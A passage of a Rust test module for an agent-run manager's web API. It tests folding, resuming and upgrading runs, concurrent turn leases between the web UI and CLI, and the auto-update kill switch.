19695 std::fs::create_dir_all(runs.join(id)).expect("run dir");
19696 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
19697 std::fs::create_dir_all(&wt).expect("worktree dir");
19698
19699 let res = fx.delete(&format!("/api/runs/{id}")).await;
19700 assert_eq!(res.status, 204, "{}", res.body);
19701 assert!(!runs.join(id).exists(), "the broken record is gone");
19702 assert!(!wt.exists(), "its worktree is gone too");
19703 }
19704
19705 #[tokio::test]
19706 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
19707 let fx = Fixture::start().await;
19708 let runs = fx.runs();
19709 let id = "20260901-000000-live";
19710 write_run(&runs, id, RunStatus::Implementing);
19711
19712 let mut beat = crate::daemon::Status::new();
19713 beat.current = vec![crate::daemon::Current {
19714 task: "20260901-000000-task".to_owned(),
19715 run: id.to_owned(),
19716 }];
19717 beat.updated_at = jiff::Timestamp::now();
19718 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19719 .expect("publish a heartbeat");
19720
19721 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19722 assert_eq!(res.status, 409);
19723 assert!(
19724 res.json()["error"]
19725 .as_str()
19726 .unwrap()
19727 .contains("live daemon"),
19728 "folding under a running agent would pull its worktree away"
19729 );
19730 }
19731
19732 #[tokio::test]
19733 async fn fold_merged_requires_a_pr_url() {
19734 let fx = Fixture::start().await;
19735 let runs = fx.runs();
19736 let id = "20260901-000000-nourl";
19737 write_run(&runs, id, RunStatus::Blocked);
19738
19739 let res = fx
19740 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
19741 .await;
19742 assert_eq!(res.status, 400, "{}", res.body);
19743
19744 let blank = fx
19745 .post(
19746 &format!("/api/runs/{id}/fold-merged"),
19747 Some(r#"{"pr_url":" "}"#),
19748 )
19749 .await;
19750 assert_eq!(blank.status, 400, "{}", blank.body);
19751 }
19752
19753 #[tokio::test]
19754 async fn fold_merged_is_404_for_an_unknown_run() {
19755 let fx = Fixture::start().await;
19756 let res = fx
19757 .post(
19758 "/api/runs/nosuchrun/fold-merged",
19759 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19760 )
19761 .await;
19762 assert_eq!(res.status, 404, "{}", res.body);
19763 }
19764
19765 #[tokio::test]
19766 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
19767 let fx = Fixture::start().await;
19768 let runs = fx.runs();
19769 let id = "20260901-000000-livemerge";
19770 write_run(&runs, id, RunStatus::Blocked);
19771
19772 let mut beat = crate::daemon::Status::new();
19773 beat.current = vec![crate::daemon::Current {
19774 task: "20260901-000000-task".to_owned(),
19775 run: id.to_owned(),
19776 }];
19777 beat.updated_at = jiff::Timestamp::now();
19778 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19779 .expect("publish a heartbeat");
19780
19781 let res = fx
19782 .post(
19783 &format!("/api/runs/{id}/fold-merged"),
19784 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19785 )
19786 .await;
19787 assert_eq!(res.status, 409, "{}", res.body);
19788 assert!(
19789 res.json()["error"]
19790 .as_str()
19791 .unwrap()
19792 .contains("live daemon"),
19793 "correcting a run's merge underneath a running agent would race \
19794 whatever it is doing to the same `status`/`merge` fields"
19795 );
19796 }
19797
19798 #[tokio::test]
19803 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
19804 let fx = Fixture::start().await;
19805 let runs = fx.runs();
19806 let id = "20260901-000000-unconfirmed";
19807 write_run(&runs, id, RunStatus::Blocked);
19808
19809 let res = fx
19810 .post(
19811 &format!("/api/runs/{id}/fold-merged"),
19812 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19813 )
19814 .await;
19815 assert_eq!(res.status, 400, "{}", res.body);
19816 assert_eq!(
19817 read_run(&runs, id).unwrap().status,
19818 RunStatus::Blocked,
19819 "a pull request that could not be confirmed merged must leave \
19820 the run exactly where it was"
19821 );
19822 }
19823
19824 #[tokio::test]
19825 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
19826 let fx = Fixture::start().await;
19827 let runs = fx.runs();
19828
19829 for (status, word) in [
19835 (RunStatus::Merged, "merged"),
19836 (RunStatus::Ready, "ready"),
19837 (RunStatus::Failed, "failed"),
19838 ] {
19839 let id = format!("20260901-000000-{}", &word[..4]);
19840 write_run(&runs, &id, status);
19841 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
19842 assert_eq!(res.status, 409, "{word} must not be resumable");
19843 let err = res.json()["error"].as_str().unwrap().to_owned();
19844 assert!(err.contains(word), "the refusal names the status: {err}");
19845 }
19846
19847 let mid = "20260901-000000-midf";
19852 write_run(&runs, mid, RunStatus::Reviewing);
19853 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
19854 assert_eq!(res.status, 202, "an interrupted run is resumable");
19855 }
19856
19857 #[tokio::test]
19858 async fn resume_is_refused_while_the_loop_is_running() {
19859 let fx = Fixture::start().await;
19860 let runs = fx.runs();
19861 let stalled = "20260901-000000-stal";
19862 write_run(&runs, stalled, RunStatus::Stalled);
19863
19864 let mut beat = crate::daemon::Status::new();
19868 beat.current = vec![crate::daemon::Current {
19869 task: "20260901-000000-task".to_owned(),
19870 run: "20260901-000000-othr".to_owned(),
19871 }];
19872 beat.updated_at = jiff::Timestamp::now();
19873 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19874 .expect("publish a heartbeat");
19875
19876 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
19877 assert_eq!(res.status, 409);
19878 let err = res.json()["error"].as_str().unwrap().to_owned();
19879 assert!(err.contains("othr"), "it names what the loop is on: {err}");
19880 assert!(err.contains("stop it first"), "{err}");
19881 }
19882
19883 #[test]
19884 fn a_run_cannot_be_resumed_twice_at_once() {
19885 let home = TempDir::new().expect("temp home");
19886 let ui = Ui::new(
19887 Queue::at(home.path().join("queue")),
19888 Questions::at(home.path().join("questions")),
19889 Talks::at(home.path().join("talks")),
19890 home.path().join("runs"),
19891 home.path().to_path_buf(),
19892 PathBuf::from("/repo"),
19893 )
19894 .with_worktrees_root(home.path().join("wt"));
19895 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
19896 let again = ui.begin_resume("20260901-000000-once");
19897 assert!(again.is_err(), "a second tap must not start a second graph");
19898 drop(first);
19899 assert!(
19900 ui.begin_resume("20260901-000000-once").is_ok(),
19901 "and the claim is released when the attempt ends"
19902 );
19903 }
19904
19905 #[test]
19906 fn talk_thinking_tracks_only_its_held_turn_claim() {
19907 let home = TempDir::new().expect("temp home");
19908 let ui = Ui::new(
19909 Queue::at(home.path().join("queue")),
19910 Questions::at(home.path().join("questions")),
19911 Talks::at(home.path().join("talks")),
19912 home.path().join("runs"),
19913 home.path().to_path_buf(),
19914 PathBuf::from("/repo"),
19915 )
19916 .with_worktrees_root(home.path().join("wt"));
19917 let id = "20260901-000000-once";
19918
19919 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
19920 let turn = ui.begin_talk_turn(id).expect("claim turn");
19921 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
19922 assert!(
19923 !ui.is_thinking("20260901-000000-other"),
19924 "one talk's turn does not make another talk busy"
19925 );
19926 drop(turn);
19927 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
19928 }
19929
19930 #[test]
19931 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
19932 let home = TempDir::new().expect("temp home");
19933 let talks = Talks::at(home.path().join("talks"));
19934 let ui = Ui::new(
19935 Queue::at(home.path().join("queue")),
19936 Questions::at(home.path().join("questions")),
19937 talks.clone(),
19938 home.path().join("runs"),
19939 home.path().to_path_buf(),
19940 PathBuf::from("/repo"),
19941 )
19942 .with_worktrees_root(home.path().join("wt"));
19943 let id = "20260901-000000-cross";
19944
19945 let other = Talks::at(home.path().join("talks"))
19946 .claim_turn(id)
19947 .expect("claim")
19948 .expect("the other process wins");
19949 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
19950 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
19951 assert!(
19952 matches!(
19953 ui.begin_talk_turn_unless_pending(id).expect("start"),
19954 TalkTurnStart::Foreign
19955 ),
19956 "a foreign holder is refused, not queued behind"
19957 );
19958 assert!(
19959 !ui.talk_turns.lock().unwrap().live.contains(id),
19960 "a refused claim leaves no in-process entry behind"
19961 );
19962 drop(other);
19963 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
19964 assert!(talks.turn_held(id), "the web turn holds the lease");
19965 drop(turn);
19966 assert!(
19967 !talks.turn_held(id),
19968 "dropping the guard releases the lease"
19969 );
19970 }
19971
19972 fn consult_question(ui: &Ui) -> Question {
19973 let mut q = Question::new(
19974 "20260901-000000-consult".to_owned(),
19975 "implement".to_owned(),
19976 "impl-A".to_owned(),
19977 "Which backend?".to_owned(),
19978 String::new(),
19979 vec!["SQLite".to_owned(), "Redis".to_owned()],
19980 );
19981 ui.questions.put(&mut q).expect("question");
19982 q
19983 }
19984
19985 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
19986 (
19987 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
19988 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
19989 )
19990 }
19991
19992 #[tokio::test]
19993 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
19994 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
19995 let q = consult_question(&ui);
19996 let talk = ui.talks.get(&id).expect("talk");
19997 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
19998 let before = consult_snapshot(&ui, &q, &id);
19999 let cli_talks = Talks::at(ui.home.join("talks"));
20000 assert_eq!(
20001 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
20002 .await
20003 .expect("CLI starter"),
20004 crate::consult::Started::Busy
20005 );
20006 assert_eq!(consult_snapshot(&ui, &q, &id), before);
20007 assert!(ui.is_thinking(&id));
20008 drop(guard);
20009 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
20010 }
20011
20012 #[tokio::test]
20013 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
20014 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
20015 let q = consult_question(&ui);
20016 let talk = ui.talks.get(&id).expect("talk");
20017 let started = tmp.path().join("started");
20018 let release = tmp.path().join("release");
20019 let script = tmp.path().join("consult-agent.sh");
20020 std::fs::write(
20021 &script,
20022 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
20023 )
20024 .expect("script");
20025 let mut cfg = stub_config();
20026 cfg.agents[0].id = "mock".to_owned();
20027 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
20028 cfg.agents[0].env = std::collections::BTreeMap::from([
20029 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
20030 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
20031 ]);
20032 let questions = ui.questions.clone();
20033 let cli_talks = Talks::at(ui.home.join("talks"));
20034 let cli_q = q.clone();
20035 let turn = tokio::spawn(async move {
20036 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
20037 });
20038 let ready = tokio::time::timeout(Duration::from_secs(30), async {
20039 while !started.exists() {
20040 tokio::time::sleep(Duration::from_millis(10)).await;
20041 }
20042 })
20043 .await;
20044 let refusal = if ready.is_ok() {
20047 let before = consult_snapshot(&ui, &q, &id);
20048 let result = talk_say(
20049 State(Arc::clone(&ui)),
20050 Path(id.clone()),
20051 Ok(Json(NewTalkTurn {
20052 reply_to: None,
20053 text: "another message".to_owned(),
20054 attachments: Vec::new(),
20055 })),
20056 )
20057 .await;
20058 Some((result, before, consult_snapshot(&ui, &q, &id)))
20059 } else {
20060 None
20061 };
20062 std::fs::write(&release, "").expect("release agent");
20063 let done = turn.await.expect("join CLI turn");
20064 ready.expect("agent started before deadline");
20065 let (result, before, after) = refusal.expect("web request");
20066 let error = result.expect_err("web must refuse the CLI's turn");
20067 assert_eq!(error.status, StatusCode::CONFLICT);
20068 assert!(error.message.contains("a turn is already running"));
20069 assert_eq!(
20070 after, before,
20071 "refusal preserves question, draft and history"
20072 );
20073 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
20074 let guard = ui
20075 .begin_talk_turn(&id)
20076 .expect("web claim")
20077 .expect("free again");
20078 drop(guard);
20079 }
20080
20081 #[test]
20082 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
20083 let home = TempDir::new().expect("temp home");
20084 let talks = Talks::at(home.path().join("talks"));
20085 let ui = Ui::new(
20086 Queue::at(home.path().join("queue")),
20087 Questions::at(home.path().join("questions")),
20088 talks.clone(),
20089 home.path().join("runs"),
20090 home.path().to_path_buf(),
20091 PathBuf::from("/repo"),
20092 )
20093 .with_worktrees_root(home.path().join("wt"));
20094 let id = "20260901-000000-order";
20095 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20096 let slots = ui.talk_turns.lock().unwrap();
20098 let dropper = std::thread::spawn(move || drop(turn));
20099 let start = std::time::Instant::now();
20100 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
20101 std::thread::sleep(Duration::from_millis(5));
20102 }
20103 assert!(!talks.turn_held(id), "the lease is released first");
20104 assert!(slots.live.contains(id), "the slot is still held meanwhile");
20105 drop(slots);
20106 dropper.join().expect("join");
20107 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
20108 }
20109
20110 #[tokio::test]
20111 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
20112 let fx = Fixture::start().await;
20113 let mut beat = crate::daemon::Status::new();
20117 beat.pid = 4321;
20118 beat.updated_at = jiff::Timestamp::now();
20119 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20120 .expect("publish a heartbeat");
20121
20122 let res = fx.post("/api/upgrade", None).await;
20123 assert_eq!(res.status, 409);
20124 let err = res.json()["error"].as_str().unwrap().to_owned();
20125 assert!(err.contains("4321"), "the refusal names the owner: {err}");
20126 assert!(err.contains("old one against the same queue"), "{err}");
20127 }
20128
20129 #[test]
20136 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
20137 assert!(!should_spawn_recheck(&crate::config::Update {
20138 mode: UpdateMode::Off,
20139 interval: None,
20140 }));
20141
20142 unsafe {
20145 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
20146 }
20147 let killed = should_spawn_recheck(&crate::config::Update {
20148 mode: UpdateMode::Notify,
20149 interval: None,
20150 });
20151 unsafe {
20152 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
20153 }
20154 assert!(
20155 !killed,
20156 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
20157 one-time startup check"
20158 );
20159
20160 assert!(should_spawn_recheck(&crate::config::Update {
20161 mode: UpdateMode::Notify,
20162 interval: None,
20163 }));
20164 }
20165
20166 #[test]
20172 fn recheck_poll_period_tracks_a_short_configured_interval() {
20173 let short = crate::config::Update {
20174 mode: UpdateMode::Notify,
20175 interval: Some("1m".to_owned()),
20176 };
20177 let period = recheck_poll_period(&short);
20178 assert!(
20179 period <= Duration::from_secs(30),
20180 "a one-minute interval must wake the task far sooner than the \
20181 default ceiling, or the deck would not notice within the \
20182 interval the operator configured: got {period:?}"
20183 );
20184
20185 let default = crate::config::Update {
20186 mode: UpdateMode::Notify,
20187 interval: None,
20188 };
20189 assert_eq!(
20190 recheck_poll_period(&default),
20191 UPDATE_RECHECK_POLL_MAX,
20192 "the default day-long interval should poll at the (capped) \
20193 ceiling rather than needlessly often"
20194 );
20195 }
20196
20197 #[test]
20205 fn recheck_skips_the_network_before_the_interval_elapses() {
20206 let dir = TempDir::new().expect("temp dir");
20207 let path = dir.path().join("state.json");
20208 let state = kaishin::UpdateCheckState {
20209 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
20210 last_known_latest: None,
20211 last_known_url: None,
20212 };
20213 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
20214
20215 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
20216 assert!(
20217 !update_recheck_due(&checker, None),
20218 "a check made moments ago must not be repeated before the \
20219 configured interval elapses"
20220 );
20221 }
20222
20223 #[test]
20229 fn recheck_defers_to_an_upgrade_already_in_flight() {
20230 let dir = TempDir::new().expect("temp dir");
20231 let path = dir.path().join("state.json");
20232 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
20233 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
20234
20235 assert!(
20236 !update_recheck_due(&checker, Some(&progress)),
20237 "a recheck must not run while an upgrade this deck started is \
20238 still moving"
20239 );
20240 }
20241
20242 #[tokio::test]
20243 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
20244 unsafe {
20256 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
20257 }
20258 let fx = Fixture::start().await;
20259 let res = fx.post("/api/upgrade", None).await;
20260 unsafe {
20261 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
20262 }
20263 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20264 let body = res.json();
20265 assert!(body["to"].is_null(), "there was no release to move to");
20266 assert!(body["parked"].is_null(), "and nothing was parked");
20267 assert!(
20268 body["detail"]
20269 .as_str()
20270 .unwrap()
20271 .contains("disabled by MAGI_NO_AUTOUPDATE"),
20272 "{body:?}"
20273 );
20274 }
20275
20276 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
20277 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
20278 p.stage = stage;
20279 p
20280 }
20281
20282 #[test]
20283 fn busy_stages_match_the_ui_set() {
20284 use crate::updater::Stage;
20285 assert!(APP_JS.contains(
20286 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
20287 ));
20288 for s in [
20289 Stage::Downloading,
20290 Stage::Replaced,
20291 Stage::Parking,
20292 Stage::Restarting,
20293 ] {
20294 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
20295 }
20296 for s in [Stage::Done, Stage::Failed] {
20297 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
20298 }
20299 assert!(upgrade_in_motion(None).is_none());
20300 }
20301
20302 #[tokio::test]
20303 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
20304 use crate::updater::Stage;
20305 for stage in [
20306 Stage::Downloading,
20307 Stage::Replaced,
20308 Stage::Parking,
20309 Stage::Restarting,
20310 ] {
20311 let fx = Fixture::start().await;
20312 let seeded = seeded_progress(stage);
20313 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
20314 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20315 .expect("read");
20316
20317 let res = fx.post("/api/upgrade", None).await;
20318 assert_eq!(res.status, 409, "{stage:?}");
20319 let err = res.json()["error"].as_str().unwrap().to_owned();
20320 assert!(err.contains("already in progress"), "{err}");
20321 assert!(err.contains(stage.as_str()), "{err}");
20322
20323 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20324 .expect("read");
20325 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
20326 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
20327 .unwrap_or_default();
20328 assert!(!log.contains("signalling HANDOVER"), "{log}");
20329 }
20330 }
20331
20332 #[test]
20333 fn upgrade_retry_timing_only_parses_known_diagnostics() {
20334 assert_eq!(
20335 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
20336 Some(3723)
20337 );
20338 assert_eq!(
20339 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
20340 Some(60)
20341 );
20342 assert_eq!(
20343 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
20344 Some(0)
20345 );
20346 for message in [
20347 "permission denied",
20348 "GitHub API rate limit exceeded",
20349 "GitHub rate limit (resets in unknown)",
20350 "GitHub rate limit (resets in 18446744073709551615d)",
20351 ] {
20352 assert_eq!(upgrade_retry_after(message), None, "{message}");
20353 }
20354 }
20355
20356 #[tokio::test]
20357 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
20358 let home = TempDir::new().unwrap();
20359 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
20360 ui.start_loop(None).unwrap();
20361 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
20362 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
20363 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
20364 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
20365 let response = finish_upgrade_request(&ui, result);
20366 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
20367 assert_eq!(response.headers()["retry-after"], "120");
20368 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
20369 .await
20370 .unwrap();
20371 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
20372 assert!(body["error"].as_str().unwrap().contains(reason));
20373 assert_eq!(body["retry_after_secs"], 120);
20374 assert!(body["retry_at"].as_u64().is_some());
20375 for _ in 0..2 {
20376 let view = health(State(ui.clone())).await.unwrap().0;
20377 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
20378 assert_eq!(failure, body);
20379 }
20380 assert_eq!(
20381 std::fs::read(updater::progress_path(home.path())).unwrap(),
20382 before
20383 );
20384 assert!(!ui.lock_loop().resume_after_handover);
20385 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
20386 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
20387 let gate = ui.upgrade_gate.lock().await;
20389 assert_eq!(
20390 upgrade_post(State(ui.clone())).await.status(),
20391 StatusCode::CONFLICT
20392 );
20393 drop(gate);
20394 assert!(
20395 health(State(ui.clone()))
20396 .await
20397 .unwrap()
20398 .0
20399 .upgrade_request_error
20400 .is_some()
20401 );
20402 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
20403 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
20404 assert!(
20405 health(State(ui.clone()))
20406 .await
20407 .unwrap()
20408 .0
20409 .upgrade_request_error
20410 .is_none()
20411 );
20412 let live = ui.lock_loop().live.take().unwrap();
20413 live.stop.stop();
20414 live.handle.await.unwrap();
20415 }
20416
20417 #[tokio::test]
20418 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
20419 use crate::updater::Stage;
20420 let repo = TempDir::new().expect("repo dir");
20421 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20422 .expect("write magi.toml");
20423 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20424 for stage in [Stage::Done, Stage::Failed] {
20425 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
20426 let res = fx.post("/api/upgrade", None).await;
20427 assert_eq!(res.status, 200, "{stage:?}");
20428 }
20429 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
20431 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
20432 }
20433
20434 #[tokio::test]
20435 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
20436 let repo = TempDir::new().expect("repo dir");
20452 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20453 .expect("write magi.toml");
20454 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20455
20456 let res = fx.post("/api/upgrade", None).await;
20462 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20463 let body = res.json();
20464 assert!(body["to"].is_null(), "there was no release to move to");
20465 assert!(body["parked"].is_null(), "and nothing was parked");
20466 assert!(
20467 body["detail"]
20468 .as_str()
20469 .unwrap()
20470 .contains("nothing restarted"),
20471 "{body:?}"
20472 );
20473 }
20474
20475 #[tokio::test]
20476 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
20477 let repo = TempDir::new().expect("repo dir");
20482 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20483 .expect("write magi.toml");
20484 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20485
20486 let health = fx.get("/api/health").await.json();
20487 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
20488 assert_eq!(
20489 health["update"]["available"], false,
20490 "checking is off, which reads as \"unknown\", not \"none\""
20491 );
20492 assert!(health["update"]["to"].is_null());
20493 assert!(
20494 health["upgrade"].is_null(),
20495 "nothing has ever asked this deck to upgrade"
20496 );
20497 }
20498
20499 #[tokio::test]
20500 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
20501 let fx = Fixture::start().await;
20502 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
20503
20504 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20505 progress.parked_run = Some("20260905-000000-cd51".to_owned());
20506 progress.advance(crate::updater::Stage::Parking);
20507 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20508
20509 let health = fx.get("/api/health").await.json();
20510 assert_eq!(health["upgrade"]["stage"], "parking");
20511 assert_eq!(health["upgrade"]["from"], "0.5.1");
20512 assert_eq!(health["upgrade"]["to"], "0.5.2");
20513 let waiting_on = health["upgrade"]["waiting_on"]
20514 .as_str()
20515 .expect("waiting_on is set while parking a known run");
20516 assert!(waiting_on.contains("cd51"), "{waiting_on}");
20517 assert!(waiting_on.contains("implementing"), "{waiting_on}");
20518 }
20519
20520 #[tokio::test]
20521 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
20522 let fx = Fixture::start().await;
20523 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20524 progress.advance(crate::updater::Stage::Done);
20525 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20526
20527 let health = fx.get("/api/health").await.json();
20528 assert_eq!(health["upgrade"]["stage"], "done");
20529 assert!(
20530 health["upgrade"]["waiting_on"].is_null(),
20531 "nothing to wait on once it is done"
20532 );
20533 }
20534
20535 #[tokio::test]
20536 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
20537 let home = TempDir::new().expect("temp home");
20538 let runs = home.path().join("runs");
20539 std::fs::create_dir_all(&runs).expect("runs dir");
20540 let ui = Ui::new(
20541 Queue::at(home.path().join("queue")),
20542 Questions::at(home.path().join("questions")),
20543 Talks::at(home.path().join("talks")),
20544 runs,
20545 home.path().to_path_buf(),
20546 PathBuf::from("/repo/magi"),
20547 )
20548 .with_launch(launch_idle);
20549 let looping = ui.looping();
20550 let turns = ui.turns();
20551 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20552 .await
20553 .expect("bind loopback");
20554 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20555
20556 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20557 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20558
20559 hand_over(
20560 home.path(),
20561 &looping,
20562 &turns,
20563 &|_: &[String]| Duration::from_secs(5),
20564 served,
20565 |_| Ok(1),
20566 )
20567 .await
20568 .expect("hand over");
20569
20570 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
20571 assert_eq!(
20572 after.stage,
20573 crate::updater::Stage::Restarting,
20574 "hand_over owns the record through parking and up to restarting; \
20575 the successor is what finishes it"
20576 );
20577 }
20578
20579 #[tokio::test]
20582 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
20583 for fail in [false, true] {
20584 let home = TempDir::new().expect("temp home");
20585 let ui = idle_ui(&home);
20586 let looping = ui.looping();
20587 let turns = ui.turns();
20588 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20589 .await
20590 .expect("bind loopback");
20591 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20592 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20593 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20594
20595 let calls = std::sync::atomic::AtomicUsize::new(0);
20596 let outcome = hand_over(
20597 home.path(),
20598 &looping,
20599 &turns,
20600 &|_: &[String]| Duration::from_secs(5),
20601 served,
20602 |_| {
20603 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20604 if fail {
20605 anyhow::bail!("no exec")
20606 } else {
20607 Ok(4242)
20608 }
20609 },
20610 )
20611 .await;
20612 assert_eq!(outcome.is_err(), fail);
20613 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20614
20615 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
20616 .expect("upgrade.log is written under the home");
20617 for step in [
20618 "entered",
20619 "finish_loop",
20620 "listener released",
20621 "starting the successor",
20622 ] {
20623 assert!(log.contains(step), "missing `{step}` in:\n{log}");
20624 }
20625 assert!(
20626 log.contains(if fail { "did not start" } else { "pid 4242" }),
20627 "{log}"
20628 );
20629 }
20630 }
20631
20632 #[tokio::test]
20635 async fn the_handover_signal_wakes_one_waiter_once() {
20636 let signal = Notify::new();
20637 signal.notify_one();
20639 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
20640 .await
20641 .expect("an early signal is still seen");
20642 assert!(
20644 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
20645 .await
20646 .is_err(),
20647 "a consumed signal must not wake a second time"
